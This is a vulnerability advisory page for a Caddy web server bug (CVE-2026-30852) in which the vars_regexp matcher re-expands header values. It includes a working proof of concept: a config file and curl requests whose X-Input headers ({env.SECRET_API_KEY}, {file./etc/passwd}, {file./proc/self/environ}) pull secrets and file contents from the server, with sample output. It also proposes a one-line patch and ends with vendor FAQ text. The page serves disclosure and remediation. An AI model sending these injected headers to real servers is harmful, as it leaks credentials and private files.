Vulnerability Database

326,895

Total vulnerabilities in the database

CVE-2026-30852

Summary

The vars_regexp matcher in vars.go:337 double-expands user-controlled input through the Caddy replacer. When vars_regexp matches against a placeholder like {http.request.header.X-Input}, the header value gets resolved once (expected), then passed through repl.ReplaceAll() again (the bug). This means an attacker can put {env.DATABASE_URL} or {file./etc/passwd} in a request header and the server will evaluate it, leaking environment variables, file contents, and system info.

header_regexp does NOT do this — it passes header values straight to Match(). So this is a code-level inconsistency, not intended behavior.

Details

The bug is at modules/caddyhttp/vars.go, line 337 in MatchVarsRE.MatchWithError():

valExpanded := repl.ReplaceAll(varStr, "") if match := val.Match(valExpanded, repl); match {

When the key is a placeholder like {http.request.header.X-Input}, repl.Get() resolves it to the raw header value (first expansion, line 318). Then repl.ReplaceAll() runs on that value again (second expansion, line 337), which evaluates any {env.*}, {file.*}, {system.*} placeholders the user put in there.

For comparison, header_regexp (matchers.go:1129) and path_regexp (matchers.go:703) both pass values directly to Match() without this second expansion.

This repl.ReplaceAll() was added by PR #5408 to fix #5406 (vars_regexp not working with placeholder keys). The fix was needed for resolving the key, but it also re-expands the resolved value, which is the bug.

Side-by-side proof that this is a code bug, not misconfiguration — same header, same regex, different behavior:*

Config with both matchers on the same server:

{ "admin": {"disabled": true}, "apps": { "http": { "servers": { "srv0": { "listen": [":8080"], "routes": [ { "match": [{"path": ["/header_regexp"], "header_regexp": {"X-Input": {"name": "hdr", "pattern": ".+"}}}], "handle": [{"handler": "static_response", "body": "header_regexp: {http.regexp.hdr.0}"}] }, { "match": [{"path": ["/vars_regexp"], "vars_regexp": {"{http.request.header.X-Input}": {"name": "var", "pattern": ".+"}}}], "handle": [{"handler": "static_response", "body": "vars_regexp: {http.regexp.var.0}"}] } ] } } } } } $ export SECRET=supersecretvalue123 $ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/header_regexp header_regexp: {env.HOME} # literal string, safe $ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/vars_regexp vars_regexp: /Users/test # expanded — env var leaked $ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/header_regexp header_regexp: {env.SECRET} # literal string, safe $ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/vars_regexp vars_regexp: supersecretvalue123 # secret leaked $ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/header_regexp header_regexp: {file./etc/hosts} # literal string, safe $ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/vars_regexp vars_regexp: ## # file contents leaked

PoC

Save this as config.json:

{ "admin": {"disabled": true}, "apps": { "http": { "servers": { "srv0": { "listen": [":8080"], "routes": [ { "match": [ { "vars_regexp": { "{http.request.header.X-Input}": { "name": "leak", "pattern": ".+" } } } ], "handle": [ { "handler": "static_response", "body": "Result: {http.regexp.leak.0}" } ] }, { "handle": [ { "handler": "static_response", "body": "No match", "status_code": "200" } ] } ] } } } } }

Start Caddy:

export SECRET_API_KEY=sk-PRODUCTION-abcdef123456 caddy run --config config.json

Requests and output:

$ curl -v -H 'X-Input: hello' http://127.0.0.1:8080 * Trying 127.0.0.1:8080... * Connected to 127.0.0.1 (127.0.0.1) port 8080 > GET / HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/8.7.1 > Accept: */* > X-Input: hello > * Request completely sent off < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Wed, 18 Feb 2026 23:15:45 GMT < Content-Length: 13 < Leaked: hello $ curl -v -H 'X-Input: {env.HOME}' http://127.0.0.1:8080 * Trying 127.0.0.1:8080... * Connected to 127.0.0.1 (127.0.0.1) port 8080 > GET / HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/8.7.1 > Accept: */* > X-Input: {env.HOME} > * Request completely sent off < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Wed, 18 Feb 2026 23:15:45 GMT < Content-Length: 20 < Leaked: /Users/test $ curl -v -H 'X-Input: {env.SECRET_API_KEY}' http://127.0.0.1:8080 * Trying 127.0.0.1:8080... * Connected to 127.0.0.1 (127.0.0.1) port 8080 > GET / HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/8.7.1 > Accept: */* > X-Input: {env.SECRET_API_KEY} > * Request completely sent off < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Wed, 18 Feb 2026 23:15:45 GMT < Content-Length: 34 < Leaked: sk-PRODUCTION-abcdef123456 $ curl -v -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080 * Trying 127.0.0.1:8080... * Connected to 127.0.0.1 (127.0.0.1) port 8080 > GET / HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/8.7.1 > Accept: */* > X-Input: {file./etc/hosts} > * Request completely sent off < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Wed, 18 Feb 2026 23:15:45 GMT < Content-Length: 10 < Leaked: ##

Also works with {system.hostname}, {system.os}, {env.PATH}, etc.

Debug log (server starts clean, no errors):

{"level":"info","ts":1771456228.917303,"msg":"maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined"} {"level":"info","ts":1771456228.917334,"msg":"GOMEMLIMIT is updated","GOMEMLIMIT":15461882265,"previous":9223372036854775807} {"level":"info","ts":1771456228.9173398,"msg":"using config from file","file":"config.json"} {"level":"warn","ts":1771456228.917349,"logger":"admin","msg":"admin endpoint disabled"} {"level":"info","ts":1771456228.917928,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0x340775faa300"} {"level":"warn","ts":1771456228.920725,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"warn","ts":1771456228.920738,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"info","ts":1771456228.920741,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]} {"level":"info","ts":1771456228.9210382,"msg":"autosaved config (load with --resume flag)"} {"level":"info","ts":1771456228.921052,"msg":"serving initial configuration"}

Impact

Information disclosure. An attacker can leak:

  • Environment variables ({env.DATABASE_URL}, {env.AWS_SECRET_ACCESS_KEY}, etc.)
  • File contents up to 1MB ({file./etc/passwd}, {file./proc/self/environ})
  • System info ({system.hostname}, {system.os}, {system.wd})

Requires a config where vars_regexp matches user-controlled input and the capture group is reflected back. The bug was introduced by PR #5408 (fix for #5406), affecting all versions since.

Suggested one-line fix:

--- a/modules/caddyhttp/vars.go +++ b/modules/caddyhttp/vars.go @@ -334,7 +334,7 @@ varStr = fmt.Sprintf("%v", vv) } - valExpanded := repl.ReplaceAll(varStr, "") + valExpanded := varStr if match := val.Match(valExpanded, repl); match { return match, nil }

This makes vars_regexp consistent with header_regexp and path_regexp. Placeholder key resolution (lines 315-318) is unaffected.

Tested on latest main commit at 95941a71 (2026-02-17).

AI Disclosure: Used Claude (Anthropic) during code review and testing. All findings verified manually.

No technical information available.

CWEs:

Software From Fixed in
Go icon github.com/caddyserver/caddy/v2/modules/caddyhttp 2.7.5 2.11.2

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.